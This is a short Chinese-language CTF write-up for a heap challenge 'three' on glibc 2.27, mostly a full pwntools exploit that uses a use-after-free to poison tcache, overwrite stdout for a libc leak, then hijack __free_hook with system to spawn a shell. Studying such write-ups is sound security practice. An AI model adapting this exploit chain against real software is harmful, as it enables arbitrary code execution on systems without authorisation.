fengshui思路很重要…

strat

附件 简洁的一道题..主要考利用…咸鱼的我调了一个晚上加上办个下午没调出来 (后来反证自己走进了死胡同..) 最后改变风水思路…

Analysis

用的libc是2.27有tcache
漏洞点是uaf
# 利用
#也不太好讲..主要自己调一遍坑都跳一遍就差不多有点思路了

* 利用uaf控制tcache改写`stdout`#具体为啥在babytecache那篇博客中写过
* 继而改写free_hook为system
* free /bin/sh

fengshui:
```
* 一开始我傻逼的地尝试了控制0x70结尾的地方...做了半天做不出来
* 因为在改写完`stdout`后将会失去一个可以操作的指针...free不掉
* 两个指针要实现tcache atk 就要满足两者存在over lap 才可以改掉size
* 显然0x70不如0x50来的灵活...当时没用0x50是因为0x50的那个指针也是不能free的..

exp

from pwn import *
def cmd(c):
	p.sendlineafter("choice:",str(c))
def add(c="\n"):
	cmd(1)
	p.sendafter("content:",c)
def edit(idx,data):
	cmd(2)
	p.sendlineafter("idx:",str(idx))
	p.sendafter("content:",data)
def free(idx,mode=0):
	cmd(3)
	p.sendlineafter("idx:",str(idx))
	if (mode==0):
		p.sendlineafter("(y/n):",'n')
	else:
		p.sendlineafter("(y/n):",'y')


p=process("./three",env={'LD_PRELOAD':'./libc.so.6'})
libc=ELF("./libc.so.6")
context.log_level='debug'
#init
for x in range(3):
	add(p64(0x21)*8);
free(2,1)
free(1,1)
free(0,1)
#
add()
add()
free(1,1)
free(0)
edit(0,'\x50')
add()

add(p64(0)+p64(0x91))

free(1,1)

for x in range(6):
	free(0)
edit(2,p64(0)+p64(0x51))
free(0)
edit(2,p64(0)+p64(0x91))
free(0,1)

edit(2,p64(0)+p64(0x51)+"\x60\x07\xdd")
add()
add(p64(0xfbad1800)+p64(0)*3+'\x00')

p.read(8)
base=u64(p.read(8))-(0x7ffff7dd18b0-0x00007ffff79e4000)
log.warning(hex(base))
libc.address=base
free(0,1)
edit(2,p64(0)+p64(0x41)+p64(libc.symbols['__free_hook']))
add()
free(0,1)
add(p64(libc.symbols['system']))
edit(2,"/bin/sh\x00")
cmd(3)
p.sendlineafter("idx:",'2')
p.sendline("clear")
p.interactive("nier>>>")